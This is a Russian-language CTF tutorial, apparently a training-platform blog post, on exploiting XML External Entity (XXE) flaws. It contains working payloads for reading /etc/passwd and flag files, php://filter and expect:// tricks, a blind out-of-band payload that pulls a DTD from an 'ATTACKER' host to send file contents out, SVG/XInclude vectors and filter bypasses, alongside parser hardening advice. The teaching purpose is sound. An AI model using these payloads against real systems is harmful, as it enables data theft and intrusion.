
На CTF-квалификации задача web/xml-notes выглядела безобидно: форма заметок, поле ввода, кнопка отправки. Сорок минут я тыкал GET-параметры в поисках SQLi — пока не открыл Burp Proxy и не увидел в перехваченном POST-запросе Content-Type: application/xml с чистым XML в теле. Три строки DOCTYPE — /etc/passwd в ответе, флаг в /flag.txt. Разница между нулём очков и решённым таском — понимание того, как парсер жуёт внешние сущности. Дальше разберу техники эксплуатации XXE уязвимости, которые реально встречаются в CTF: от классики до blind exfiltration через OOB-каналы и error-based трюков, о которых русскоязычные гайды молчат.
XML External Entity — уязвимость, при которой XML-парсер обрабатывает ссылки на внешние ресурсы, определённые в DOCTYPE-секции документа. По классификации OWASP — A05:2021 (Security Misconfiguration). В каталоге CWE описывается двумя записями: CWE-611 (Improper Restriction of XML External Entity Reference) — парсер позволяет XML-сущностям ссылаться на ресурсы вне контролируемой зоны, и CWE-827 (Improper Control of Document Type Definition) — приложение не ограничивает загрузку DTD. Последствия CWE-611 бьют по трём направлениям: утечка данных (Confidentiality: Read Application Data), обход защитных механизмов (Integrity: Bypass Protection Mechanism), исчерпание ресурсов (Availability: DoS: Resource Consumption). Подробнее — в нашем обзоре создание ctf заданий.
В терминах MITRE ATT&CK эксплуатация XXE вписывается в цепочку из нескольких тактик:
.env, config.php, application.properties, web.config. Сюда же Private Keys (T1552.004): SSH-ключи, TLS-сертификаты.В CTF бизнес-логика проще: прочитал файл — достал флаг. На реальном пентесте XXE — точка входа для эскалации. Прочитал конфиг — вытянул пароль от БД — получил доступ к данным клиентов. Или через XXE провёл SSRF-атаку (OWASP A10:2021) к облачным метаданным AWS/GCP/Azure или внутренним сервисам.
Где прячутся XML-парсеры. Очевидные места: SOAP-эндпоинты, API с Content-Type: application/xml, формы импорта данных. Неочевидные (по данным YesWeHack): загрузка DOCX/XLSX (ZIP-архивы с XML внутри), обработка SVG-изображений, JSON API, которые молча принимают XML при смене Content-Type. Каждый язык тащит свой зоопарк парсеров — Java использует DOM и SAX, Python работает через lxml и xml.etree, PHP опирается на libxml. Проблема в том, что многие из них поддерживают опасные функции (внешние сущности, загрузку DTD) по умолчанию или после минимальной настройки.
Классический сценарий эксплуатации XXE уязвимости: приложение принимает XML, подставляет данные из него в ответ, парсер не ограничивает обработку внешних сущностей. Нужны два изменения в XML — добавить DOCTYPE с определением внешней сущности и вставить ссылку на неё в тег, значение которого отражается в ответе.
Пошаговый workflow в Burp Suite:
Content-Type — должен быть application/xml или text/xml. Если отсутствует, подставьте вручную (подробнее в разделе про Content-Type).<root><test>MARKER123</test></root> и ищите MARKER123 в response body. Как отмечает PortSwigger, нужно проверять каждый узел данных по отдельности — не каждый тег отражается в ответе.<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note><content>&xxe;</content></note>
Если парсер уязвим, ответ будет содержать файл /etc/passwd. В CTF флаг лежит в типичных местах: /flag, /flag.txt, /home/ctf/flag.txt. Иногда — в переменных окружения, тогда читайте /proc/self/environ.
Предусловия и версии. Техника работает, когда парсер обрабатывает внешние сущности. В libxml2 до версии 2.9.0 они включены по умолчанию. PHP 8.0+ отключает обработку внешних сущностей в libxml по дефолту (но флаг LIBXML_NOENT возвращает уязвимость — привет, legacy-код). В Java DocumentBuilderFactory и SAXParserFactory поведение зависит от версии JDK и конфигурации — legacy-приложения часто уязвимы. Python xml.etree.ElementTree (через expat) по умолчанию не резолвит внешние сущности — DOCTYPE парсится, но SYSTEM/PUBLIC ссылки игнорируются. Классический XXE через него невозможен, но от entity expansion DoS это не спасает. А вот lxml с параметром resolve_entities=True — уязвим.
Нюанс с путями. Враппер file:// требует абсолютного пути: file:///etc/passwd — три слеша (два от схемы, один от корня файловой системы). На Windows: file:///c:/windows/win.ini. Без враппера парсер ищет файл относительно текущей директории приложения — <!ENTITY xxe SYSTEM "flag.txt"> может сработать, если флаг валяется в корне приложения.
Когда целевой файл содержит символы, ломающие XML-разметку (угловые скобки <>, амперсанды &), прямое чтение через file:// не сработает — парсер выдаст ошибку well-formedness. Типичная ситуация: PHP-файлы с тегами <?php.
Решение — обёртка php://filter с base64-кодированием. Сущность определяется как <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">. В ответе приходит base64-строка, которая декодируется через echo "PD9waH..." | base64 -d в терминале или через Decoder в Burp Suite. Техника работает на PHP-приложениях с включённым модулем фильтров (он есть в подавляющем большинстве стандартных установок PHP, но может отсутствовать в урезанных/кастомных сборках). В CTF на PHP это обязательный приём: без php://filter не прочитаешь ни один .php-файл.
Второй враппер — expect:// — позволяет выполнять системные команды: <!ENTITY xxe SYSTEM "expect://id">. По данным OWASP, это возможный вектор Remote Code Execution. Но модуль expect редко установлен — как на продакшене, так и в CTF-стендах. Если на стенде он есть — задача решается одной строкой: expect://cat /flag.txt вернёт флаг напрямую. Считай, повезло.
Не каждая XXE уязвимость возвращает данные в ответе. Приложение может обрабатывать XML корректно, но отдавать фиксированный «OK» или «Accepted» без вставки данных из сущностей. По данным PortSwigger, множество реальных XXE уязвимостей — слепые (blind), и для их эксплуатации нужны продвинутые техники.
Идея OOB-канала: заставить парсер отправить содержимое файла на контролируемый сервер через HTTP или DNS-запрос. Механизм — параметрические сущности (определяются через %, работают только внутри DTD, а не в теле документа).
Схема атаки: на своём сервере (или через Burp Collaborator) размещаете файл evil.dtd. В XML-пейлоаде ссылаетесь на этот DTD через параметрическую сущность. Парсер загружает DTD, выполняет определённые в нём сущности — они читают целевой файл и отправляют его содержимое в URL на ваш сервер.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://ATTACKER/evil.dtd">
%remote;
]>
<note><content>test</content></note>
Файл evil.dtd на сервере атакующего содержит цепочку: первая сущность читает целевой файл (<!ENTITY % file SYSTEM "file:///etc/passwd">), вторая формирует URL с содержимым файла и направляет HTTP-запрос обратно. Содержимое файла оказывается в query string в access-логе HTTP-сервера.
Для CTF минимальный перехватчик — python3 -m http.server 8888. Burp Collaborator (Pro-версия) удобнее: автоматически генерирует уникальный домен и перехватывает DNS/HTTP-запросы. Бесплатная альтернатива — interactsh.
Ограничение. Если содержимое файла содержит переносы строк или спецсимволы, URL может обрезаться. В таких случаях используйте FTP-канал вместо HTTP или комбинируйте с php://filter/convert.base64-encode для кодирования данных перед отправкой.
Когда нет исходящего сетевого доступа (firewall блокирует исходящие HTTP/DNS), OOB-канал не сработает. Остаётся error-based техника — спровоцировать ошибку парсера, в тексте которой окажется содержимое файла.
Суть: используется переопределение сущностей из локального DTD-файла, который уже существует на сервере. На Linux-системах могут присутствовать локальные DTD — например, /usr/share/yelp/dtd/docbookx.dtd (desktop-дистрибутивы с GNOME) или /usr/share/xml/fontconfig/fonts.dtd (Debian/Ubuntu). В минимальных Docker-образах, типичных для CTF, эти файлы часто отсутствуют — перед атакой проверяйте наличие DTD через чтение директорий (file:///usr/share/xml/) или перебор известных путей. Атакующий определяет параметрическую сущность с именем, совпадающим с сущностью в локальном DTD, подставляя в неё чтение файла и обращение к несуществующему ресурсу. Парсер пытается раскрыть сущность, не находит ресурс и выбрасывает ошибку. В тексте ошибки — содержимое прочитанного файла.
По данным PortSwigger, техника работает на парсерах с verbose error messages. В CTF error-based XXE — типичный вариант для задач уровня medium-hard, где таскмейкер намеренно закрывает исходящий трафик и оставляет подробные ошибки парсера как единственный канал утечки.
XML прячется не только в API-запросах. Форматы DOCX, XLSX, PPTX — ZIP-архивы с XML-файлами внутри. SVG — полноценный XML. Если приложение принимает загрузку файлов и обрабатывает их серверной библиотекой, появляется вектор для XXE через загрузку файлов.
В CTF чаще всего встречается SVG-вектор: загрузка аватарки, обработка изображения, генерация миниатюры. Все эти функции могут дёргать XML-парсер.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="40">&xxe;</text>
</svg>
Если приложение рендерит SVG или возвращает его содержимое, данные из файла окажутся в элементе <text> отрисованного изображения. По данным PortSwigger, даже если приложение ожидает PNG или JPEG, библиотека обработки изображений может поддерживать SVG — и тогда атака проходит.
Для DOCX-вектора нужно распаковать .docx как ZIP-архив, модифицировать файл [Content_Types].xml или word/document.xml, добавив DOCTYPE с внешней сущностью, и запаковать обратно. По данным YesWeHack, существуют инструменты автоматизации создания вредоносных XLSX-файлов для этого вектора. В CTF DOCX-вектор встречается реже SVG, но задачи с загрузкой документов периодически попадаются.
Иногда контролировать весь XML-документ невозможно: приложение берёт пользовательские данные и вставляет их в серверный XML (например, в SOAP-запрос). DOCTYPE добавить нельзя — он уже определён на стороне сервера.
XInclude решает эту проблему. Это механизм спецификации XML для включения содержимого внешних документов. Пейлоад вставляется как обычный XML-элемент: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Парсер, поддерживающий XInclude, подставит содержимое файла без необходимости в DOCTYPE.
Согласно OWASP XML External Entity Prevention Cheat Sheet, XInclude особенно опасен, когда приложение вставляет пользовательские данные в серверный XML-документ. Многие blacklist-фильтры его не распознают — они ищут паттерны DTD (<!ENTITY, SYSTEM, DOCTYPE), а XInclude работает через собственное пространство имён. Фильтр смотрит в одну сторону — атака заходит с другой.
Content-Type manipulation — ещё один неочевидный вектор. Если API принимает application/json, попробуйте сменить заголовок на application/xml и отправить XML-пейлоад вместо JSON. По данным YesWeHack, фреймворки вроде Spring Boot и Express могут автоматически переключаться на XML-парсер при изменении Content-Type, даже если разработчики не предполагали поддержку XML. В Burp Repeater это делается за секунду — меняете заголовок, переписываете тело запроса на XML и отправляете.
| Техника | Нужен DOCTYPE | Данные в ответе | Внешний сервер | Типичный CTF-сценарий |
|---|---|---|---|---|
| Classic XXE | Да | Да | Нет | XML API, отражающий данные |
| PHP wrappers | Да | Да | Нет | PHP-приложение, чтение .php файлов |
| Blind OOB XXE | Да | Нет | Да | Нет отражения, есть сетевой доступ |
| Error-based XXE | Да | Нет (ошибки видны) | Нет | Нет сети, verbose ошибки парсера |
| XInclude | Нет | Да | Нет | Контролируешь одно поле, не весь XML |
| SVG/DOCX upload | Нет (свой файл) | Зависит | Нет | Загрузка файлов с серверной обработкой |
| Content-Type switch | Да | Да | Нет | JSON API, тайно поддерживающий XML |
Алгоритм выбора техники зависит от трёх факторов: контролируете ли вы DOCTYPE, видите ли данные в ответе, есть ли у сервера исходящий сетевой доступ. В CTF начинайте с classic XXE — большинство задач уровня easy-medium решаются именно так. Если данных в ответе нет — переходите к OOB. Если исходящий трафик закрыт — пробуйте error-based. Если не контролируете DOCTYPE — XInclude. Если единственный вход — загрузка файла — SVG.
Забытый DOCTYPE. Самая частая ошибка: вставляют &xxe; в тело XML, но не определяют сущность в секции DOCTYPE. Без <!DOCTYPE foo [<!ENTITY xxe SYSTEM "...">]> парсер не знает, что такое &xxe;, и выдаёт «undefined entity». На CTF это стоит десяти минут дебага — а с тикающим таймером десять минут дорого.
Путаница между типами сущностей. Обычные сущности (<!ENTITY xxe ...>) используются в теле документа как &xxe;. Параметрические (<!ENTITY % xxe ...>) — только внутри DTD как %xxe;. Перепутали тип или контекст — парсер проигнорирует сущность или выдаст ошибку синтаксиса. Я на одном CTF минут пятнадцать не мог понять, почему OOB не уходит — оказалось, параметрическую сущность подставил в тело документа вместо DTD.
Неправильный путь к файлу. file://etc/passwd не сработает — нужно file:///etc/passwd (три слеша). На Windows: file:///c:/windows/win.ini. Казалось бы, мелочь, но на CTF с тикающим таймером одна пропущенная косая черта — минус очки.
Подстановка в непечатаемый тег. &xxe; нужно подставлять в тег, значение которого отражается в ответе. Выбрали тег, который не выводится — парсер прочитает файл, но данные останутся на сервере. Перед эксплуатацией тестируйте каждый тег маркерным значением.
Бинарные файлы и null-байты. Если целевой файл содержит null-байты (бинарные файлы, SQLite-базы), парсер выбросит ошибку — XML не терпит null-символов. Для текстовых файлов с проблемными символами используйте php://filter с base64. Для бинарных данных XXE не подходит — нужен другой вектор.
Не проверили альтернативные Content-Type. Приложение может требовать нестандартный тип: text/xml, application/soap+xml, application/xhtml+xml. Перебирайте все варианты в Repeater, пока парсер не примет документ.
Понимание защиты помогает в CTF: если знаете, что именно отключено — знаете, какой bypass пробовать.
Основной принцип — отключение обработки внешних сущностей и DTD на уровне парсера. Для Java DocumentBuilderFactory надёжнее всего запретить DOCTYPE целиком: dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). По данным Invicti, дополнительно стоит выставить setFeature("http://xml.org/sax/features/external-general-entities", false) и setFeature("http://xml.org/sax/features/external-parameter-entities", false), плюс setXIncludeAware(false).
Для Python рекомендуется библиотека defusedxml вместо стандартных модулей. Если используется lxml, парсер создаётся с параметрами resolve_entities=False, no_network=True — по данным Invicti, именно эта конфигурация закрывает XXE.
Для PHP: начиная с PHP 8.0 внешние сущности отключены по умолчанию. Критически важно НЕ передавать флаг LIBXML_NOENT при загрузке XML — он форсирует раскрытие сущностей и возвращает уязвимость. На legacy PHP (<8.0) используется вызов libxml_disable_entity_loader(true).
В CTF-задачах чаще встречаются blacklist-фильтры (блокировка строк SYSTEM, ENTITY, DOCTYPE на уровне WAF или регулярок). Обход blacklist-фильтров возможен через: кодировку UTF-16 (фильтр проверяет UTF-8, парсер принимает UTF-16), параметрические сущности (фильтр ищет &xxe;, а параметрическая сущность %xxe; раскрывается внутри DTD, минуя фильтр), XInclude (не требует DOCTYPE вообще). Whitelist-подход через XSD-валидацию надёжнее blacklist, но в CTF вы встретите его гораздо реже.
Большинство CTF-игроков заучивают один пейлоад — classic XXE с file:///etc/passwd — и пытаются применять его ко всему подряд. Когда задача не поддаётся, начинается хаотичный перебор вместо системного анализа: «есть ли у меня контроль над DOCTYPE?», «отражаются ли данные в ответе?», «есть ли у сервера исходящий доступ?». Три вопроса — и дерево решений из таблицы выше даёт конкретную технику. Но даже выбрав технику, люди спотыкаются на парсерных тонкостях: libxml2 ведёт себя иначе, чем Java SAX, Python lxml иначе, чем xml.etree. Без понимания, какой парсер работает на бэкенде, эксплуатация XXE уязвимости превращается в лотерею.
Формула на бумаге понятна, но реальное понимание приходит, когда сам разворачиваешь стенд с тремя разными парсерами и проверяешь, какой пейлоад работает на каждом. Мой совет: потратьте выходные на Docker-контейнеры с PHP 7.4/8.2, Java 11/17 и Python lxml — и отправьте один и тот же XXE-пейлоад в каждый. Результат будет разным, и это научит больше, чем десять прочитанных writeup'ов. XXE — не одна уязвимость, а семейство техник с разными предусловиями, и побеждает тот, кто переключается между ними по ситуации, а не кто помнит самый длинный пейлоад. На WAPT эту цепочку проходят от обнаружения до постэксплуатации, с лабами на каждый вектор — от classic до blind OOB.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...